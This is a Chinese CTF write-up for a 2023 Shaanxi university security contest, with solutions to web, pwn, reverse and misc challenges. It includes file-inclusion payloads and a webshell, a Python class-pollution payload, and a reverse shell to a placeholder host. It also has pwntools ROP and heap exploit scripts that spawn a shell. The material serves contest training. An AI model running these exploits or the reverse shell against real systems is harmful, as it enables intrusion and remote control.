2023年第三届陕西省大学生网络安全技能大赛Writeup

admin 2024年11月8日17:00:33评论5 views字数 10866阅读36分13秒阅读模式

2023.6.3 By ACT

Web

easyrce

<?php
error_reporting(0);
highlight_file(__FILE__);

if (!empty($_GET['PK'])){
    $PK = $_GET['PK'];
    if(blacklistFilter($_SERVER["QUERY_STRING"])){
        include $PK;
    }else{
        highlight_file(__FILE__);
    }
}

function blacklistFilter($arg) {
    $blacklist = array('['']'';''?''@''('')''exec''eval''$''phpinfo''flag''data''filter''#');
    $filteredInput = str_replace($blacklist, '', $arg);
    return $filteredInput;
}

上面代码表面是检测过滤了$blacklist但是后面包含执行的仍然是include $PK

payload:

php://filter/read=convert.base64-encode/resource=/flag
# or
/flag

mua

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    $file = 'shell.php';
    $code = '<?php if(md5($_GET["pass"])==="c9b30e9fad74c62c2d0e4bb820964913"){ if(strlen($_GET['cmd'])<9){ @system($_GET['cmd']); } } ?>';
    while (1){
        file_put_contents($file,$code);
    usleep(5000);
?>

md5密文发现无解,后扫描目录发现robots.txt

Disallow: /substr_pass.php

访问提示

hint:?a=xx&b=xx

fuzz了一下,发现截断传数字可以获得明文pass

import requests

flag = ''
i = 0
while (i<8):
    url = f"http://9c4d37cf.clsadp.com/substr_pass.php?a={i}&b=3"
    response = requests.get(url)

    if 'hacker' in response.text:
        break
    
    flag += response.text[0]
    print(response.text[0:3])
    i+=3
i = 8
while (i<100):
    url = f"http://9c4d37cf.clsadp.com/substr_pass.php?a={i}&b=3"
    response = requests.get(url)

    if 'hacker' in response.text:
        break
    
    flag += response.text[0]
    i+=3
print(flag)
# password是富强民主文明和谐自由平等公正法制爱国敬业诚信友善

接着访问shell.php即可

/shell.php?pass=password是富强民主文明和谐自由平等公正法制爱国敬业诚信友善&cmd=ls+/
/shell.php?pass=password是富强民主文明和谐自由平等公正法制爱国敬业诚信友善&cmd=cat+/h*

PPP

附件代码如下:

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def evilFunc(arg_1 , * , shell = False):
    if not shell:
        print(arg_1)
    else:
        
        print(__import__("os").popen(arg_1).read())    

class Family:
    def __init__(self):
        pass  

family = Family()

@app.route('/',methods=['POST', 'GET'])
def index():
    if request.data:
        merge(json.loads(request.data), family)
        evilFunc("whoami")
    return "fun"

@app.route('/eval',methods=['GET'])
def eval():
    if request.args.get('cmd'):
        cmd = request.args.get('cmd')
        evilFunc(cmd)
    return "ok"


app.run(host="0.0.0.0",port= 3000,debug=False)

通过分析代码可知,攻击链最终走向如下代码

def evilFunc(arg_1 , * , shell = False):
    if not shell:
        print(arg_1)
    else:
        
        print(__import__("os").popen(arg_1).read())    

但是由于shell=False题目又给了merge.可以通过prototype pollution使得shell = True

具体可参考文章:https://blog.abdulrah33m.com/prototype-pollution-in-python/

post / json data

{"__class__":{"__init__":{"__globals__":{"evilFunc":{"__kwdefaults__":{"shell":"True"}}}}}}
GET / HTTP/1.1
Host: 1f967434.clsadp.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 91

{"__class__":{"__init__":{"__globals__":{"evilFunc":{"__kwdefaults__":{"shell":"True"}}}}}}

检测可出网,python 反弹 shell

GET /eval?cmd=export%20RHOST=%22YOUR_IP%22;export%20RPORT=YOUR_PORT;python%20-c%20'import%20sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22))));%5Bos.dup2(s.fileno(),fd)%20for%20fd%20in%20(0,1,2)%5D;pty.spawn(%22sh%22)' HTTP/1.1
Host: 1f967434.clsadp.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


2023年第三届陕西省大学生网络安全技能大赛Writeup

Pwn

stack

from pwn import *

context.log_level = 'debug'
p = remote('121.196.192.181','10005')
shell = 0x400831

p.sendlineafter(b'name?',b'passer')
payload = b'a'*0x90 +b'b'*0x8 + p64(shell)
p.sendlineafter(b'you?',payload)

p.interactive()
p.close()

canary

from pwn import *
from LibcSearcher import *
from ctypes import *

p = remote('121.196.192.181','10004')
libc = ELF('./libc.so.6')
sym_libc = cdll.LoadLibrary('./symbols.so')

#addr
puts_got = elf.got['puts']
puts = elf.plt['puts']
pop_rdi = 0x400b93
ret = 0x40073e
vuln = 0x40097d

#自己调用so来播种爆破服务器的time_rand
def rand():
    sym_libc.srand(sym_libc.time(0))
    return str(sym_libc.rand()%100+1).encode()

#leak canary
p.sendlineafter(b'select:',b'1')
p.sendlineafter(b'Go:',rand())
p.recvuntil(b'n',drop=1)
p.recv(0x28)
canary = u64(p.recv(8))
print('canary',hex(canary))
sleep(1)

#leak libc ; ret to vuln
payload = b'a'*0x28 + p64(canary) + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts) + p64(vuln)
p.send(payload)

#libc_addr
puts_addr = u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
libc_base = puts_addr - libc.sym['puts']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
system = libc.sym['system']
print('libc_base',hex(libc_base))
print('system',hex(system))

sleep(1)
p.sendline(rand())
sleep(1)

#getshell ; 栈对齐一下
payload = b'a'*0x28 + p64(canary) + p64(0) + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system)
p.send(payload)

p.interactive()
p.close()

勇闯迷宫-过三关

from pwn import *

context.log_level='debug'
p = remote('121.196.192.181','10003')
libc = ELF('./libc-2.23.so')

i = b'Index: '
m = b'>:'
n = b'>>'
def add(idx, size, content=b'a'*8):
    p.sendlineafter(m,b'1')
    p.sendlineafter(i,str(idx))
    p.sendlineafter(b'Size: ',str(size).encode())
    p.sendafter(b'Content: ',content)
def show(idx):
    p.sendlineafter(m,b'2')
    p.sendlineafter(i,str(idx).encode())
def delete(idx):
    p.sendlineafter(m,b'3')
    p.sendlineafter(i,str(idx).encode())

# pass
p.sendlineafter(n, b'516')
p.sendlineafter(n, b'1')
p.sendlineafter(n, b'4')
p.sendlineafter(n, b'2')
p.sendlineafter(n, b'3')
p.sendlineafter(n, b'2')
p.sendlineafter(n, str(133).encode())
p.sendlineafter(b'n', str(0x4011ed).encode())
p.sendlineafter(b'>' ,b'I_LOVE5.16$5APPLES9F5.16 FF' + p64(0x312e3500544f3052))
p.sendlineafter(b'>' ,b'I_LOVE5.16$5APPLES6F5.16 FF' + p64(0x312e3500544f3052))
p.sendlineafter('数字',b'+')

# 堆风水
add(0,0x90#chunk0
add(1,0x60#chunk1
add(2,0x60#chunk2

# leak libc
delete(0)   #unsorted_bin
show(0)
libc_base = u64(p.recvuntil(b'x7f')[-6:].ljust(0x8,b'x00')) - 0x3c4b78
malloc_hook = libc_base + libc.sym['__malloc_hook'] - 0x23
one_gadget = libc_base + 0xf1247
print('libc_base',hex(libc_base))

# UAF ; small_bin attack
delete(1)
delete(2)
delete(1)
# edit chunk1_next
add(3,0x60,p64(malloc_hook)) #chunk1
add(4,0x60#chunk2
add(5,0x60#chunk1

# edit malloc_hook -> one_gadget
add(6,0x60,b'a'*0x13 + p64(one_gadget)) #malloc_hook

# 触发malloc_hook
p.sendlineafter(m, b'1')
p.sendlineafter(i, b'7')
p.sendlineafter('Size: 'b'30')

p.interactive()
p.close()

alloca

from pwn import *
from LibcSearcher import *

context.log_level='debug'
p = remote('121.196.192.181','10007')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

#leak base
p.sendafter(b'name? ',b'a'*8)
p.recvuntil(b'a'*8)
pe_base = u64(p.recvuntil('n',drop=1).ljust(8,b'x00')) -4653
print('pe_base',hex(pe_base))

#调试位置
p.sendlineafter(b'long? ',b'-10')

#addr
vuln = pe_base + 0x12a7
puts_got = pe_base + elf.got['puts']
puts = pe_base + elf.plt['puts']
pop_rdi = pe_base + 0x1463
ret = pe_base + 0x101a

#leak libc
payload = b'a'*0x18 + p64(pop_rdi) + p64(puts_got) + p64(puts) + p64(vuln)
p.sendafter(b'say? ',payload)
puts_addr = u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
libc_base = puts_addr - libc.sym['puts']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']
print('libc_base',hex(libc_base))
print('system',hex(system))

#调试位置
p.sendlineafter(b'long? ',b'-10')

#getshell ; 加个ret栈对齐
payload = b'a'*0x18 + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system)
p.sendafter(b'say? ',payload)

p.interactive()
p.close()

Reverse

ezpython

https://pyinstxtractor-web.netlify.app/ 上传main.exe

uncompyle6解main.pyc

2023年第三届陕西省大学生网络安全技能大赛Writeup
import sys
str = 'cidb~071c75g62=a=d2=acc211c010`1<`gacx'
str1 = ''
for i in range(38):
    str1 += chr(ord(str[i]) ^ 5)
print(str1)

ezpe

2023年第三届陕西省大学生网络安全技能大赛Writeup

PE文件最下面有Brainfuck加密文本

2023年第三届陕西省大学生网络安全技能大赛Writeup
flag{w0w!_PE_sT3uctU3e_1$_suBt1e}

ezrust

太乱的,直接动调

长度判断

2023年第三届陕西省大学生网络安全技能大赛Writeup

加密流程

2023年第三届陕西省大学生网络安全技能大赛Writeup

密文

2023年第三届陕西省大学生网络安全技能大赛Writeup

对比

2023年第三届陕西省大学生网络安全技能大赛Writeup

解密

cipher = ['AE''DC''BE''CE''7C''9A''BE''7C''8D''7C''BE''8D''EF''BA''7C''9A''9F''6F''FF''DE''9F''FF''DF']
flag = ""

for i in range(len(cipher)):
    cipher[i] = cipher[i][::-1]

# ['EA', 'CD', 'EB', 'EC', 'C7', 'A9', 'EB', 'C7', 'D8', 'C7', 'EB', 'D8', 'FE', 'AB', 'C7', 'A9', 'F9', 'F6', 'FF', 'ED', 'F9', 'FF', 'FD']
for i in cipher:
    print(chr(int(str(hex(int(i[0], 16)^0x9)[-1]) + str(hex(int(i[1], 16)^0x8)[-1]), 16)), end="")

# flag{rUst_1s_@_s@f3_1anguage}

Misc

云缨

下载题目解开压缩包得到一串密文

2023年第三届陕西省大学生网络安全技能大赛Writeup

此密码运用了1248代码,google搜索得到为云影密码的特征,找到解密脚本解密


#!/usr/bin/python
# -*- coding=utf8 -*-
"""
# @Author : pig
# @CreatedTime:2019-11-2423:54:02
# @Description : 
"""



def de_code(c):
    dic = [chr(i) for i in range(ord("A"), ord("Z") + 1)]
    flag = []
    c2 = [i for i in c.split("0")]
    for i in c2:
        c3 = 0
        for j in i:
            c3 += int(j)
        flag.append(dic[c3 - 1])
    return flag

def encode(plaintext):
    dic = [chr(i) for i in range(ord("A"), ord("Z") + 1)]
    m = [i for i in plaintext]
    tmp = [];flag = []
    for i in range(len(m)):
        for j in range(len(dic)):
            if m[i] == dic[j]:
                tmp.append(j + 1)
    for i in tmp:
        res = ""
        if i >= 8:
            res += int(i/8)*"8"
        if i%8 >=4:
            res += int(i%8/4)*"4"
        if i%4 >=2:
            res += int(i%4/2)*"2"
        if i%2 >= 1:
            res += int(i%2/1)*"1"
        flag.append(res + "0")
    print ("".join(flag)[:-1])

c = input("输入要解密的数字串:")
print (de_code(c))
m_code = input("请输入要加密的数字串:")
encode(m_code)

2023年第三届陕西省大学生网络安全技能大赛Writeup

题目要求明文的md5值,再md5加密即可拿到flag

flag{9edabf1448871181eb0e7133b5b3d701}

2023年第三届陕西省大学生网络安全技能大赛Writeup

hack_dns

爆破压缩包密码为258369

2023年第三届陕西省大学生网络安全技能大赛Writeup

解密压缩包,里头flag.pcap和key.jpg

2023年第三届陕西省大学生网络安全技能大赛Writeup

分析flag.pcap,搜索条件过滤dns,把包含test.com的字段都过滤出来

2023年第三届陕西省大学生网络安全技能大赛Writeup

全部复制出来,拿去在线正则匹配,得到每一项包含test.com的字符串,这里需要把0a开头的给舍弃

2023年第三届陕西省大学生网络安全技能大赛Writeup
2023年第三届陕西省大学生网络安全技能大赛Writeup

然后将.test.com替换为空再去掉换行得到16进制字符串

再写一个python脚本将16进制字符串转换ASCII字符

hex_string = "647868797b366a6530636d316c3678383937303333696730613172683430393135763635397d"
# 将16进制字符串每两个字符一组分割,并转换为对应的ASCII字符
ascii_string = "".join([chr(int(hex_string[i:i+2], 16)) for i in range(0, len(hex_string), 2)])
print(ascii_string)

运行得到

dxhy{6je0cm1l6x897033ig0a1rh40915v659}

使用steghide分析key.jpg可以得到一个key:ymhsec

2023年第三届陕西省大学生网络安全技能大赛Writeup

最后通过维吉尼亚解密得到flag{6fc0ea1e6f897033ee0c1fa40915d659}

2023年第三届陕西省大学生网络安全技能大赛Writeup

EradicateMoriarty

这个套娃题也挺有意思的,比赛快结束的时候,解到了最后一个压缩包了 具体题解过程,可看下面师傅分享的解题视频

原文始发于微信公众号(ACT Team):2023年第三届陕西省大学生网络安全技能大赛Writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月8日17:00:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2023年第三届陕西省大学生网络安全技能大赛Writeuphttps://cn-sec.com/archives/1792295.html

发表评论

匿名网友 填写信息